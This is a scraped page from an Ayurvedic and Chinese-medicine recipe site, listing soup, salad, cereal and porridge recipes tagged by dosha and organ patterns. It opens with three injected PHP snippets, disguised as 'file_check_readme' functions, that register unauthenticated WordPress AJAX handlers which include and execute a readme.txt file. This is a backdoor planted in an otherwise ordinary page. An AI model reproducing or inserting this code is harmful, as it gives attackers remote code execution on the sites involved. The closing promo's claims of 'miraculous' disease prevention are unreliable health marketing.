if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Decrease Vata-Pitta | Holistic Healing Resolutions by Asaf Feit
Butternut Squash Soup with Ginger & Coconut Milk

Butternut Squash Soup with Ginger & Coconut Milk

by | Cold & Oliy, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Easy to Digest, Fall, Heart Yin Deficiency, Late Summer, Liver Blood Deficiency, Liver Dry Stagnation, Lubricating, Lung Yin Deficiency, Nourishing, Recipes, Soup, Spleen Qi Deficiency, Spring, Stimulating, Summer

  Butternut Squash Soup with Ginger & Coconut Milk 1 butternut squash (cut to medium size cubes (Vata – Pitta – Kapha 0))1 Tbs. coconut oil (Vata – Pitta – – Kapha ++)1 cup coconut milk (Vata – Pitta – – Kapha ++)2...
Bulgur, Pomegranate & Mint Salad

Bulgur, Pomegranate & Mint Salad

by | Breakfast, Bulgur, Cold & Oliy, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Easy to Digest, Fall, Heart Blood Deficiency, Heart Yin Deficiency, Late Summer, Liver Blood Deficiency, Liver Dry Stagnation, Lunch, Nourishing, Recipes, Spring, Stimulating, Summer

  Bulgur, Pomegranate & Mint Salad 1 cup bulgur (Vata – Pitta – – Kapha +)1 3/4 cups water (Vata 0 Pitta – Kapha +)Seeds from 1 pomegranate (Vata – Pitta – Kapha -)1/3 cup mint leaves (chopped (Vata 0 Pitta – Kapha...
Coco Cereal

Coco Cereal

by | Breakfast, Colon dry, Decrease Vata, Decrease Vata-Pitta, Easy to Digest, Fall, Heart Blood Deficiency, Hot & Oily, Kidney Qi Deficiency, Liver Blood Deficiency, Lubricating, Lung Qi Deficiency, Nourishing, Oats, Recipes, Rice, Spleen Qi Deficiency, Spring, Stimulating, Winter

  Coco Cereal A recipe for a grain cereal from the classic Japanese Macrobiotic kitchen. The Coco cereal has a gentle flavor and a roasted scent that spreads in the house during cooking and creates a nurturing and comforting atmosphere. Preparation of the cereal...
Semolina Porridge

Semolina Porridge

by | Breakfast, Cold & Oliy, Colon dry, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Easy to Digest, Fall, Heart Yin Deficiency, Hot & Oily, Liver Blood Deficiency, Lubricating, Lung Yin Deficiency, Milk, Nourishing, Recipes, Semolina, Winter

Semolina Porridge Ingredients:For thin porridge:1/2 cup semolina flour (Vata – Pitta – – Kapha ++)2 cups milk (Vata – Pitta – – Kapha ++)2 cups water (Vata 0 Pitta – Kapha +)For thick porridge:1/2 cup semolina flour1 cup milk1...

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

Woohoo!